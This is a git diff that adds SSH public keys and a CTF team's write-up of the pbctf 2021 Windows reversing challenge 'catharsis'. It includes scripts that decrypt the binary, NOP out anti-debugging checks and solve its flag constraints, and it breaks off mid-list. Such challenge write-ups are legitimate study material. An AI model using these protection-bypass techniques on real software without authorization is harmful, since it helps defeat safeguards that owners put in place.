AAAAB3NzaC1yc2EAAAADAQABAAABgQC1gZ6Hp24MN+nNvIpZtfr8R+LDrVYvk+w5lkYxzynZeTujcNfjyo2j1kwPQWYECKUEZUwViBHw9YE8FS20724fWpEEkymvNL/fb71x9+SP36WwdnLM/vEttwMnuGYfekCLBosGd00BbvzKjbIimRy2XQVuCbGrT9EgiGBbNRFsZ5oaSSAnCNvEBD+CP419MWK/IpUWXe5I91h1UUrNqqZh13Yn4WcbA9LcbKVhAiDIky3UI9pLZO6ki8j8JtTEMwRZOmhu93f6WvaTVL7F07br5thurkwU3BZB8EEcU9bVSvgSKWoNeUx/oUbZvWM/8YrwBGNXA+bSuZQH0QqOMo5jjRllm5uZypQ5bNqcmkQWHOh2HsqKupfsRagomUbJ83aHsHgdeVoyUURbLU+tCqAJfflbLognYQNpo3eOTbb9HRiag8ZngM8raGe8s++87I+72iyqUYhwbKZZC94qLfGmxN+B5B5Iit9hKKeP5Ww/xnmSWnRlx/W/cY8G63JIf4E= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRgu5ABjGCZ6HwQae4sG3zhaaZUUxb+JEIIa4UN/hB+IBrjOc5qB5UnvskJiATKBG3GhmuYms/q/rLHGOebhLRAoC7sfA8gjylLjd59OZLjK3cF5GHEJC5TjznGw/P+3/4Y2zjdtCxDxOaqMGrW2snWTZw86MvmJmC9UYxf075a1xqQWC+p4HCr+eK/5W8rNbWq2V/MZouEwgkjyyE40JQUtPKLiIT3NY3Ovd3lQhsXyAcWw5FwV90ST6ii7Jd9hF6OETL9Io+u5jeLntkAuEdnlnAIooYItcFcJg3ehzEch/78I5HaWLHpGDpMwjxmHn7C4TVlf/ilccCW8Tn2/mhwkxytMrGCQEnSKY2mXPCN4GQTKRZqDM64X0xtEbxclcifLGUJO75jgA0/oeAiE5jR4PE96RiF1mAzBgGV0tzA87crzBwSOlNgt+2m//MyuxutH3FmXRBgoz8KhxjHZxXoR5Zza9OO2lRY6DJ8JuarBBUnyx/cFxpiJLTeTik55M= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK06k5qn6jPNYP7BqJWoCEeUmnvkcPy8k5k/kXPuyiPz +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOo11qfyIr7C9aYnTNYKnVLn6vy2asnS0duxu/CLsEm8 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBSRLyeCbQEbgWjJDuW9T1l4h0XcRZfN7RN4h+/p/AXz +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGmSl/cs8DKC5mu1PfEL9pldEaLAsp4pgJoeIC23XzQK +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJYD8q6yCqzrZg8erCZ2SIqPFkPy9oIl45ujc3yKKQo4 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB8wP5H/5flMoGyl1AC6rrIHm24yQ/++dzhIXCBZKK2l +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCV4QDwCLF2m7kYUpQDOPn+eQDONOO6EqHhClPwWnznel8mS6vW2s4LpCfC9H1PHlDHaJy2UwSGTjogOMAlX55YrqQ2qzMrQXt7knmb/xCAwO2rSlSrb+4H8d/UBYx1IB99M7pIh+KnrAZO3SZQeYLNzYITRiSpMXROh7WznYYAGFRfDaqxEDwVTXDQKWIn0CbQFkfuTzD4yA1l3930GXuWp9BZzt+OeL03otYjezx3R/KHj0tTmmlVIx4i5NClIfuRITtW8Sez6KBQ7KLGFoODzE/fb3dhEqE2ELr2VTVR79ECWpkvOas0oECw/rVWOdSk7PsCWDDXHS+YrSUu3xB/Gz2NYK1GFAZS/dQzF/SG10KKbIxZMm/hwl+/B/P4E7D9m4cGwdNgpOYkw6ETOMzwS/RkYsoLmbjS9HTm5wTZIlmVhAEvaMmOKryalsQ+j+YHMxO18P/AMtzZICefRtBMSR0d3IZYtkvG0o4JK/SrVl9HXsn2RMV6vFcclr+SbP0= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFtMaBltO9AqfgjyV1vqblyzKlAbMR/qXJA5Uv4SbRLUCOeoxBZgL2/R0Y6f+kP9bAfE4RSpbReu43Hyniw8sN8WU5JVD9PCR4l6fqJTNXFYwibFIZr20kyygZ6jPTrAtl7TtsTEokldaXWG7w6tKVcjKEHRhOaVSIJ6p8u+aZkzsKeLIUAlqcqU9R5efjXnBynmHAI1dj5IqhWpuPSZhWvJYZv501n1mRRUgcnDeIY2mcIv35F2E4mS3FaqZ6Ctpk9pzePeh0JLukT2h3dpSClbxXobB+CfBMqM1iGFxAK+Alwc0J+OHOTZ/Bri85I6HydNosiNFybFH42iI4yXGZuob6N86NShsAGyHeRgLcRFcBljqqv/QiFQYY3xyaAB6DhNshc3Y7/29W6LV/Z8/zJNfiHYuANhJdKQgKmtuVg588vq6ByNvakTZ6EvtLL+0MThGUgtFVYlhB5Qo7lXgTLSiWiUGMBFtocAoN3+2E7CwpmSSETyY8kwXdFc4KtGs= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbett23rVkScjl0NChcF4yQnlLXcm1ZovFAD/YY9xkZsOp2gVqWPI2sbou5bS12nN6jQX5IpCwd5ZN/zVca0xbS0xwsz9XWOcVt1RVym3R0WTmAKjxJJPKUMq3xZZakW/C7Gpf6T3wEbI6D+Hh/nnOmGpG5aB5g+oy0jelRS5m6KlPLA89gpS1eDBnJCxF7BxbOPd4pKaap4MMnOJur+f+8mABAo2ZP5lE0Ln1nn0BoP3r64QiyBgCDjjevB56K9t9Dcm3QzSRzvc/gjjqk79yje4tdFWq87iw92CDk10TV6LwDGmClVZQCxPAkvC7FTHCiMH7e6OoqNI8QB6Yr3YF0gdt7dYnoMAc6sx6OifkGSgCDVOUQXLA/Uwp0p4m7nJ4N9hiQxbqq+yMjHEO6ZXOuQ191cCWw4VLFSZiUAV+HDbN00n+eoyZWnF5xAQ/dkCnLxrOQSdlvolSr1qTsyRdcSbjoMXjNvNKunFuvpHErOwcqV7Bd1+87T83qap8gSU= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB8jVir4i0akvOlv+8mD1S34ApDSG4VjXNH5NRpXCyvB +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPRs0g0xNKjarA8KjjlAF3ThRIdQbo5MWqlN699k3lB5 +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVU/tWljp+i+htZ7oV0jJJrn64s882C4DkmOfhwopF6bPPhK53X0qDHBo5cpZB+fmP5acwuCXZPDntTktMOKi+zoeEsRCfBtxOjKhPQfIdXFIWq5wBj2yxq8hHcUzamcbglfksZC+xs25jCQgn9RuCEQa35ohdcTaAaOwQzgwuCIdytALZaxuL9Y1QHSSEGSqnjNRfmCdA0BZNFclz98CeVpOoUZHEe7FvnEFTOHk0XaGT2/aQgHSAcWzMTq/vJgNtHwv//gtzioJTPBDpaeFf370Aoe9bdi8b6THtgQmLIawurrxDYWlieil51tWGukShae2nuYPQBEwfOp3CF9RfdX34GG2lXAdJSTznHe2rb+idk0sp31IHGFdhBsufkiB8CcK5mZM6lWM3kK+/KCz3UTdiFMobB0R725cUBEwSlEdh7843WW8WlGEQiV5G5gCxjUH4Wz06RA3z5sobj4p6Sr/IwMEC/1D2tERMJ3CePF0yZOFM5t/HJofzu/v+lckYm5C8aBZLskeLHphb4e6nel7aqPvZJ7f9KHiedLOVmcGy1viFIqkXzMWAi0U5YPL16LHjmrxbFjbPm4ZL4KChQdoVuLTe03iMmhYo/stOB8FLpu3eCwI0UZDxKhOF/ps7ZwmKLj0VymoxJuOSpAFyx7Ik5UXGmZ1ErIF4aR++xw== +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJgvDBbzSxX5faogvIWaEoZNQ2gBRYyA5sdmgofM6rn +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKoE78SJc/H2Hr4lymDR3psXffs58oHIKOSzHMB/3zvJ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGXsVIuVemCk/DUewoFLpdyK3MY7f40s1Aljdhugqsc2 +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXEq2xj6bXhrsP//9+M3EZ+QVFMUS8DuEf1ri38hHkmtkf5lo4ue1s1SEXdod0em0hCJCCe95qzoIdWyJutrFBwC3BgyJTojW4E2s5kKZGbm9yTr/50h9YoZldvNE0DeFH0PvcqNt9xXNOwzELuND1uLNA6+5eNErW5WBsqcXnY+OLjzb0hLi66o+gZMoUBu5jwHuN4hVOwhPdti3GqF0vNmKTVEeoNPJNVupD8Orul2IFjqhRqTI32U5fJFXuB5iUmNjDTm3qYQeXjRakheLBil8IQ3uEyx1N0jtx1UdIKZcq2mPNSxcqHXPs/tllJmtr48hSy0Ze9vWo4sZp7WwRLhFEFCGOnYw5sxroXrPoQiZ0LjjYghUwQKBLdeynykKQaQP6s/ApGBaPDDGSE1ga9db6Thd2mr8BbIkyIFqULtgcjMFDZ4T2/9gYywtDpRm8iV4DDPer0CHF21jQdxwcmxn5n7FKC4yXhf0QHh+LTaXo6VxcYrzebMHC5BHDThM= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6SISMI+PBTM7cWzezkcY3Xtq5OcVjSswcb4bWbCjzUegmJYONAh34kIkpYGWKzmJmujF4cA21vs2ceRt6yUERYM6YFFChLkV2mkzjRw2uWwT/voCqfCi+FgiJzKmlWSTFXEiFEb98PGrcoO1Y1qJVcLsv+GqC8N8qdkgCFJoq+i07FGc5yywsosnFC4BxEHZhr4pIuE8G4UVOQohcpRtRBVEfaqHsX4PIzzVFj8X3tiG2R3MZuMwe9/KFK4riqRnDT9sasBAjP9k1uootWUVVA46wdpm/PsslcJ3Z/w8nfLObPxboV6uF7dyKcu+w8Mc+U1at2BqCPtyUEZaLBOl7sKPfIHLG23hZ1oBluIq/mqn38LLW+VfvivvMJPaeNIV/pzh0swnOKXI97fo3u7a4XAkV7PDtHIhuck2dTIEHInlvmh8essbCA8PP+xSZAlsc91qIA85Z5M1m67pxt8xEUoakNlAd22q19GhxUdTLTJhQzXJmRwkJJOvZkOmzldc= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSigTUa6NNGXPS92GBfgjS5K+8SU9tCGE9LOw8OT+Jn +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhQmA+QiJJNZpdAesmn/g7OnVPEIg/XkqwvgZzHzbFAtZEgnEKdWYxelBwkLYrxuK91LA0KVnGSUxhb1vP4Z6H5qR8zAuZlU7F769NngRNOMi1MmaZ8iKVc87UyJU1LgU8dm1eKVCqEc60KbS6H1bE4vL3Wa2l/G9ey40TT/oj8SXEMDnFy5PDwRF6zeLeUUuaab7sTCwXqLhoi0YiDZPDfgFz7awMZX+lXEC2rIwwXjdXU3dNfQND0MRG11VrEh7QvftLXVgUP10FV60W6T0GgWsSSMGTFyJO9Fvss/Ocivdj3pxOlCZsN1rLEwJ60tpmjhOmihoCNFuEA4iE5HKrD2PwRdh7r5+B0KUBD39jk07HI4Tkg6XpA8WPGSqyxnsAu7G4IGpWW8tNAtmLuWbQUnTb4l7jMChRJqfO09g3QRA9fGxXAJwnOG2fPQh4byTJYnCYS8dIz+SWqbCt9mV0xxYqNx6ZqCrg1W5pMCdTM6ze/wcy9to5g5MYPhue9+0= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILOvycYr2m27kL2/zXxcv0iAXTHjHhfiJQEtFC5N1khq +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMffgCVQsqURn6YeMSS2q1QEMchWNJ7yLwMUBXX3q6Qk +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOhLy8AEVfdLLI2IzQq1mNsyM/iz82QD7RShxbNuuhDW diff --git a/pbctf2021/index.html b/pbctf2021/index.html new file mode 100755 index 0000000..1f9bf5e --- /dev/null +++ b/pbctf2021/index.html @@ -0,0 +1,215 @@ + + + + + +pbctf 2021 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

pbctf 2021

+ + + + + + + + + + + + + + +
ChallengeCategory
catharsisrev, cts, windows
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/pbctf2021/index.md b/pbctf2021/index.md new file mode 100755 index 0000000..0f960f1 --- /dev/null +++ b/pbctf2021/index.md @@ -0,0 +1,5 @@ +# pbctf 2021 + +| Challenge | Category | +|------------------------------|-------------------------------------------------| +| [catharsis](./rev/catharsis) | rev, [cts](https://twitter.com/gf_256), windows | diff --git a/pbctf2021/rev/catharsis.html b/pbctf2021/rev/catharsis.html new file mode 100755 index 0000000..286d05a --- /dev/null +++ b/pbctf2021/rev/catharsis.html @@ -0,0 +1,1019 @@ + + + + + +catharsis | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

catharsis

+ +

Authors: Leonardo Galli

+ +

Tags: rev, cts, windows

+ +

Points: 420

+ +
+

hgarrereyn said he would rage quit if I made a windows rev so Have fun! Consider this my catharsis from reversing genshin impact

+
+ +

Note: This write up is cut short, because I did not have enough time to properly finish it before the week deadline :(

+ +

The description already promised tons of fun and definitely no italian cursing. +Opening the binary in IDA of course further confirmed my suspicion: This was just an elaborate trolling attempt by fellow CTF “player” cts.

+ +

funny_functions

+ +

Deciding that I should maybe do some dynamic analysis as well, I booted up my Windows VM. +Always helpful, Windows in turn decided it was time to install some updates (on a VM image from them directly, intended for developers)

+ +

fml

+ +

Now that we are done setting up our environment, let me give you an overview of the challenge and how much time I spent solving the different parts:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DescriptionTime Spent
Get Windows VM into a working state1h
Figure out most of text is encrypted10 min
Decrypting most of text20 min
Finding the actual main function5h
Needlessly reverse C++ STL code2h
Figure out what exception handling does30 min
Making main readable by patching anti debugging with nops20 min
Figuring out that main constructs a JSON object based on flag30 min
Dump constraints and write solve script1h
Debug why solve script is slightly off2h
+ +

I continued with some static analysis and noticed two exception handlers being installed. +The first is more complicated and will be discussed later. +The second seems to use some decryption scheme. +Seeing as most of the text section was just gibberish in IDA, I deduced that most of text was encrypted. +Using a quick decryption script, I created a binary that was hopefully mostly decrypted. +(Of course it was not that simple in actuality, I spent most of the time needlessly complicating things, by only decrypting pages I was sure where encrypted, instead of just doing most of them directly.) +Said decryption script:

+ +
import os
+import sys
+from pwn import *
+
+def decrypt(page: bytes, vaddr) -> bytes:
+    ret = b""
+    for i in range(0x1000 // 8):
+        val = page[8*i:8*(i+1)]
+        val = u64(val)
+        key = vaddr ^ ((~i) & 0xffffffffffffffff)
+        res = (val ^ key) & 0xffffffffffffffff
+        ret += p64(res)
+        vaddr += 8
+    return ret
+
+inf = "bingus.exe"
+outf = "bingus.dec.exe"
+data = b""
+with open(inf, "rb") as f:
+    data = f.read()
+
+head = data[:0x400]
+data = data[0x400:]
+dec_data = head
+DEC_PAGES = list(range(0x01000, 0x53000, 0x1000))
+BASE = 0x140000000
+
+max_page = len(data) // 0x1000
+last_off = 0
+for page in range(max_page):
+    off = page*0x1000
+    page_data = data[off:off+0x1000]
+    vaddr = BASE + off + 0x1000
+    if off+0x1000 in DEC_PAGES:
+        log.info("Decrypting at 0x%x", off)
+        page_data = decrypt(page_data, vaddr)
+    dec_data += page_data
+    last_off = off+0x1000
+
+dec_data += data[last_off:]
+
+print(hex(dec_data[PATCH_NOP]), hex(PATCH_NOP))
+
+with open(outf, "wb") as f:
+    f.write(dec_data)
+
+with open("bingus.final.exe", "wb") as f:
+    f.write(dec_data)
+
+ +

However, I got got when trying to search for the main function. +I stumbled upon a small function pretty quickly that could have been main, if it were not for the halt immediately in there. +I found the string 'Enter your flag: ' pretty quickly, but no references. +Thinking this was just some windows bullshittery going on, I pressed on and waded through way too many CRT functions in hopes of finding main that way somehow. +In the end, I somehow went back to the function with the halt and actually looked at the disassembly. To my surprise, immediately after the halt, there was a reference to the aforementioned string and I had just uncovered the main function.

+ +

After some almost useless C++ STL reversing, I had also finally figured out the purpose of the first exception handler. +It basically acts like some kind of syscall/hvcall thingy magig. +In short, the following happens inside there:

+ +
    +
  • If current exception is Privileged Instruction (0xC0000096) and current instruction is halt (0xf4), then: +
      +
    • If did_init = False, then insert halt at the beginning of HeapAlloc, HeapFree and two more functions, let’s dub them cringe and more_cringe. The original byte at the location the halt was inserted was saved in an std::unordered_map<off_t, char>.
    • +
    • Otherwise, it would try to find the address of rip in the aforementioned hashmap. If it was found, another function responsible for executing the actual ``syscall’’ was called. Depending on what the current instruction pointer is, different things happen, see below. Finally, the original byte is put back, current rip is saved and the processor is single stepped.
    • +
    +
  • +
  • If current exception is Access Violation (0xC0000005), try to find the (page aligned) address inside our other std::unordered_map. If found, map a page at the requested address, decrypt the “backing” store to the newly mapped page, save the faulting address to a global and finally single step.
  • +
  • If the current exception is due to single stepping (0x80000004), check whether the current address was saved by handler of 0xC0000096 or 0xC0000005. +
      +
    • If saved by 0xC0000096, restore the halt instruction and continue execution.
    • +
    • If saved by 0xC0000005, encrypt the contents of the just mapped page, save it back to the “backing” store and free the mapped page. Then continue execution.
    • +
    +
  • +
+ +

The syscalls are as follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
RIP (Function Name)Description
HeapAllocModifies heap allocation as follows: We allocate pages instead of stuff on the actual heap. However, we then return an offset from 0 as the address where allocation was done. The address offset from 0 is later translated to the actual allocated page in the above exception handler. This way the backing memory is actually encrypted. The mapping between address offset from 0 and actual page is kept inside another std::unordered_map
HeapFreeNot implemented.
cringeBasically just: return !a1
more_cringeBasically just: some_global += 0x123; return some_global;
+ +

Since we don’t need to keep the encrypted memory and we just ignore the cringe and more_cringe functions for now, I just patched out any halts from the binary. +Furthermore, the binary also had a bunch of anti debug and anti vm code, like the following in it:

+
v33 = 10000i64;
+v34 = __rdtsc();
+do
+{
+    _RAX = 1i64;
+    __asm { cpuid }
+    v52 = __PAIR64__(_RBX, _RAX);
+    v53 = _RCX;
+    v54 = _RDX;
+    --v33;
+}
+while ( v33 );
+v40 = __rdtsc();
+v41 = v40 - v34;
+if ( (__int64)(v40 - v34) < 0 )
+{
+    v43 = v41 & 1 | ((v40 - v34) >> 1);
+    v42 = (float)(int)v43 + (float)(int)v43;
+}
+else
+{
+    v42 = (float)v41;
+}
+if ( (float)(v42 / 10000.0) < 250.0 )
+    break;
+if ( ++v32 >= 5 )
+{
+    memset((void *)((unsigned __int64)v51 & 0xFFFFFFFFFFFFF000ui64), 255, 0xFFFFFFFFFFFFui64);
+    __debugbreak();
+}
+
+

So I also patched out those things. +The script to do the patching can be seen below:

+
import idaapi
+import ida_ua
+import ida_funcs
+import ida_bytes
+import ida_allins
+import idautils
+
+MAIN_ADDR = 0x140003110
+
+MAIN_END_ADDR = 0x1400174E6
+
+JUST_FYI = 0x140056230
+
+SOME_TIME_ADDR = 0x140071EE8
+
+def info(conts):
+    print(f"[*] {conts}")
+    # idaapi.msg(f"[*] {conts}")
+
+def dec_insn(addr) -> idaapi.insn_t:
+    tmp = idaapi.insn_t()
+    l = ida_ua.decode_insn(tmp, addr)
+    return tmp
+
+curr = MAIN_ADDR
+
+info(f"Starting flow from @ 0x{curr:x}")
+
+ret_insn = dec_insn(MAIN_END_ADDR)
+
+info(f"Ret type: {ret_insn.itype}")
+
+POSS_RETS = [ida_allins.IA64_ret, ida_allins.I960_ret, ida_allins.I196_ret, ida_allins.NN_retn]
+info(f"Poss rets: {POSS_RETS}")
+
+NOP_PATTERNS = [
+    "E8 64 2C 05 00", # call just fyi
+    "83 F8 03 7C 2A 8B 04 24 48 83 EC 10 48 8D 4C 24 30 8B 01 48 81 E1 00 F0 FF FF BA FF 00 00 00 49 B8 FF FF FF FF FF FF 00 00 E8 5A D5 02 00 CC" # haha got you
+]
+
+# flow through instructions
+# while curr != idaapi.BADADDR and curr <= MAIN_END_ADDR:
+    # flags = ida_bytes.get_flags(curr)
+    # if (flags & ida_bytes.FF_CODE) == 0:
+    #     ret = idaapi.create_insn(curr)
+    #     if ret == 0:
+    #         info(f"Failed to create instr @ 0x{curr:x}")
+        # print("not marked as code!")
+    # ins = dec_insn(curr)
+    # if ins.itype == idaapi.NN_call:
+    #     call_addr = ins.Op1.addr
+    #     if call_addr == JUST_FYI:
+    #         patch = b"\x48\x31\xc0"
+    #         patch = patch.ljust(ins.size, b"\x90")
+    #         ida_bytes.patch_bytes(curr, patch)
+    # if ins.itype == idaapi.NN_retn:
+    #     info(f"Encountered ret @ 0x{curr:x}")
+    #     break
+    # if ins.itype == ida_allins.NN_hlt:
+    #     info(f"Encountered hlt @ 0x{curr:x}")
+    #     # patch hlt to nop, should hopefully work?
+    #     idaapi.patch_byte(curr, 0x90)
+    # update curr
+    # curr += ins.size
+
+def find_pat(patt):
+    curr = MAIN_ADDR
+    while True:
+        out = ida_bytes.compiled_binpat_vec_t()
+        ida_bytes.parse_binpat_str(out, curr, patt, 16)
+        curr = ida_bytes.bin_search(curr, MAIN_END_ADDR, out, ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_CASE)
+        if curr == idaapi.BADADDR:
+            break
+        yield curr
+        curr += 1
+
+
+import binascii
+
+def nop_pattern(patt):
+    info(f"nopping pattern {patt}")
+    curr = MAIN_ADDR
+    patt_b = binascii.unhexlify(patt.replace("?", "00").replace(" ", ""))
+    while True:
+        out = ida_bytes.compiled_binpat_vec_t()
+        ida_bytes.parse_binpat_str(out, curr, patt, 16)
+        curr = ida_bytes.bin_search(curr, MAIN_END_ADDR, out, ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_CASE)
+        if curr == idaapi.BADADDR:
+            break
+        patch_size = len(patt_b)
+        for off in range(patch_size):
+            ida_bytes.patch_byte(curr + off, 0x90)
+
+# for pat in NOP_PATTERNS:
+#     nop_pattern(pat)
+
+first_marker = "0F 31 48 C1 E2 20 48 0B C2"
+pattern_start_act = binascii.unhexlify("488B068B0C07")
+
+for first_addr in find_pat(first_marker):
+    info(f"Found marker @ 0x{first_addr:x}")
+    unique_addr = first_addr + 0x10
+    cmp_insn = dec_insn(unique_addr)
+    if cmp_insn.itype == ida_allins.NN_cmp and cmp_insn.Op2.value == 0x5F5E100:
+        info(f"Found compare, looking gucci")
+        pattern_start = first_addr - 0x3f
+        start_bs = ida_bytes.get_bytes(pattern_start, len(pattern_start_act))
+        if pattern_start_act == start_bs:
+            info(f"Found start, looking very good")
+            end_addr = first_addr + 0x5e
+            end_insn = dec_insn(end_addr)
+            act_end_addr = end_addr + end_insn.size
+            if end_insn.itype == ida_allins.NN_mov and end_insn.Op1.addr == SOME_TIME_ADDR:
+                info("yep we gucci here!")
+                # patch everything in between with nops!
+                num_bytes = act_end_addr - pattern_start
+                ida_bytes.patch_bytes(pattern_start, b"\x90"*num_bytes)
+
+ +

After all of that, the basic idea behind the main function became pretty clear. +It converts the input (flag) into a bitstream, iterates over the bitstream to create a json object. +Then it asserts a bunch of constraints on the object. +A python version of the conversion can be found below:

+
import sys
+import binascii
+import os
+from pwn import *
+import json
+
+class Typ:
+    Num = 0
+    Null = 1
+    Bool = 2
+    Char = 3
+
+class BitStream:
+    def __init__(self, bs: bytes):
+        self.bs = bs
+        self.bytes = ""
+        for b in bs:
+            self.bytes += bin(b)[2:].rjust(8, "0")
+        
+    @property
+    def avail(self) -> int:
+        return len(self.bytes)
+
+    def _get_bits(self, n: int) -> str:
+        head = self.bytes[:n]
+        log.debug("head: %s", head)
+        self.bytes = self.bytes[n:]
+        return head
+
+    def get_bits(self, n: int) -> int:
+        assert(n <= self.avail)
+        head = self._get_bits(n)
+        head = head[::-1]
+        return int(head, 2)
+
+def decode(flag: bytes) -> str:
+    bs = BitStream(flag)
+    prev = None
+    curr = None
+    while bs.avail >= 15:
+        typ = bs.get_bits(2)
+        if typ == Typ.Num:
+            num = bs.get_bits(12)
+            log.info("Num %d", num)
+            curr = num
+        if typ == Typ.Null:
+            log.info("Null")
+            curr = None
+        if typ == Typ.Bool:
+            val = bs.get_bits(1) == 1
+            log.info("Bool: %s", val)
+            curr = val
+        if typ == Typ.Char:
+            val = bs.get_bits(6)
+            car = chr(32 + val)
+            log.info("Char: %s", car)
+            curr = car
+        idk = bs.get_bits(1)
+        if idk == 1:
+            key = json.dumps(curr)
+            prev = {key: prev}
+            log.info("Dict")
+        else:
+            log.info("Arr")
+            prev = [prev, curr]
+    return json.dumps(prev, indent=4)
+
+def main():
+    flag = input("Enter your flag: ").strip()
+    
+    log.info("Done with initial: \n%s", decode(flag.encode()))
+if __name__ == "__main__":
+    main()
+
+ +

With all that figured out, I had to somehow get the constraints out of the binary, into a useable form. +Luckily, the constraints had very simple patterns, so I just copied the decompilation of the main function and ran some regexes across it. +The script for extracting constraints and the final solving can be seen below:

+ +
import os
+import sys
+from pwn import *
+import re
+
+outf = "check_simple.txt"
+inf = "check.cpp"
+
+TYP_CHECK = re.compile(r"!is_(?P<typ>(object|int|string|array|bool|null))", re.IGNORECASE)
+SIZE_CHECK = re.compile(r"get_size\(.*\).*(?P<size>\d)", re.IGNORECASE)
+STR_DEST = "std::string::~string"
+CMP_CHECK = re.compile(r"!= (?P<cmp>(.){2,4}) ", re.IGNORECASE)
+GLOB_CHECK = re.compile(r"inc_and_ret_shitty_global\((?P<in>\d+).*\)", re.IGNORECASE)
+BOOL_CHECK = re.compile(r"check_rcx_is_0\((?P<in>\d+).{0,2}\)", re.IGNORECASE)
+
+
+lines = []
+with open(inf) as f:
+    lines = f.readlines()
+
+out = []
+
+direct = []
+
+mapping = {
+    "object": "Obj",
+    "array": "Arr",
+}
+
+typ = None
+next_line_str = False
+shitty_global = 0xabc
+inc = 0x123
+flip = 0
+for line in lines:
+    m = TYP_CHECK.search(line)
+    sm = SIZE_CHECK.search(line)
+    gm = GLOB_CHECK.search(line)
+    bm = BOOL_CHECK.search(line)
+    if m is not None:
+        typ = m.group('typ')
+        if typ == "object" or typ == "array":
+            direct.append(mapping[typ])
+            out.append("")
+        if typ == "null":
+            direct.append("N")
+        out.append(f"typ == {typ}")
+    elif sm is not None:
+        out.append(f"size == {sm.group('size')}")
+    elif STR_DEST in line:
+        next_line_str = True
+    elif next_line_str:
+        next_line_str = False
+        cm = CMP_CHECK.search(line)
+        out.append(f"char == {cm.group('cmp')}")
+        direct.append(f"Char({cm.group('cmp')})")
+    elif gm is not None:
+        inp = int(gm.group('in'))
+        shitty_global += inc
+        diff = (inp - shitty_global) % 0x1000
+        out.append(f"num {diff}")
+        direct.append(f"Num({diff})")
+    elif bm is not None:
+        inp = int(bm.group('in'))
+        inp = inp ^ 1
+        if inp == 1:
+            out.append(f"True")
+            direct.append(f"TTrue")
+        else:
+            out.append(f"False")
+            direct.append(f"TFalse")
+    
+
+with open(outf, "w") as f:
+    f.write("\n".join(out))
+
+print("[")
+print(",\n".join(direct))
+print("]")
+
+ +
import os
+import sys
+from typing import List, Tuple
+from pwn import *
+from decomp import BitStream as BS
+from decomp import Typ
+from decomp import decode
+import random
+
+class BitStream:
+    def __init__(self) -> None:
+        self.bytes = ""
+
+    def write_bits(self, val, n):
+        s = bin(val)[2:]
+        s = s.rjust(n, "0")
+        s = s[::-1]
+        self.bytes += s
+
+    @property
+    def bs(self):
+        ret = b""
+        for off in range(0, len(self.bytes), 8):
+            val = self.bytes[off:off+8]
+            val = val.ljust(8, "0")
+            b = int(val, 2)
+            ret += bytes([b])
+        return ret
+
+class Tok:
+    typ: int = 0
+
+    def __init__(self, val) -> None:
+        self.val = val
+
+    def enc(self) -> Tuple[int, int]:
+        if self.val == 1:
+            return (1, 1)
+        return (1, 0)
+
+Obj = Tok(1)
+Arr = Tok(0)
+
+class Num(Tok):
+    typ = Typ.Num
+
+    def enc(self) -> Tuple[int, int]:
+        return (12, self.val)
+
+class Null(Tok):
+    typ = Typ.Null
+    def enc(self) -> Tuple[int, int]:
+        return (0, 0)
+
+N = Null(0)
+
+class Bool(Tok):
+    typ = Typ.Bool
+
+    def enc(self) -> Tuple[int, int]:
+        return (1, 1 if self.val else 0)
+
+TTrue = Bool(1)
+TFalse = Bool(0)
+
+class Char(Tok):
+    typ = Typ.Char
+    def __init__(self, val) -> None:
+        self.val = val
+        if isinstance(val, str):
+            self.val = ord(val)
+        self.val = self.val - 32
+    def enc(self) -> Tuple[int, int]:
+        return (6, self.val)
+
+
+def encode(tokens: List[Tok]) -> bytes:
+    tokens.reverse()
+    b = BitStream()
+    for tok in tokens:
+        if not type(tok) is Tok:
+            val = tok.typ
+            b.write_bits(val, 2)
+        bits, val = tok.enc()
+        if bits == 0:
+            continue
+        b.write_bits(val, bits)
+        log.info("bs: %s", b.bytes)
+    log.info("bs: %s", b.bytes)
+    return b.bs
+
+
+CURRENT = [
+Arr,
+Char('K'),
+Obj,
+N,
+Obj,
+Char('6'),
+Arr,
+N,
+Arr,
+Num(2666),
+Obj,
+Num(2156),
+Obj,
+Num(2650),
+Arr,
+Num(1849),
+Obj,
+TTrue,
+Arr,
+Char('L'),
+Arr,
+N,
+Obj,
+Num(2179),
+Arr,
+TTrue,
+Arr,
+N,
+Arr,
+Num(360),
+Obj,
+Char('$'),
+Arr,
+N,
+Arr,
+N,
+Obj,
+Char(74),
+Arr,
+Num(1045),
+Arr,
+Num(2504),
+Obj,
+Char(50),
+Obj,
+Char('L'),
+Obj,
+TFalse,
+Arr,
+TTrue,
+Obj,
+N,
+Arr,
+N,
+Arr,
+Num(3129),
+Arr,
+Num(3110),
+Arr,
+TFalse,
+Obj,
+N,
+Obj,
+Char('2'),
+Obj,
+Num(3387),
+Obj,
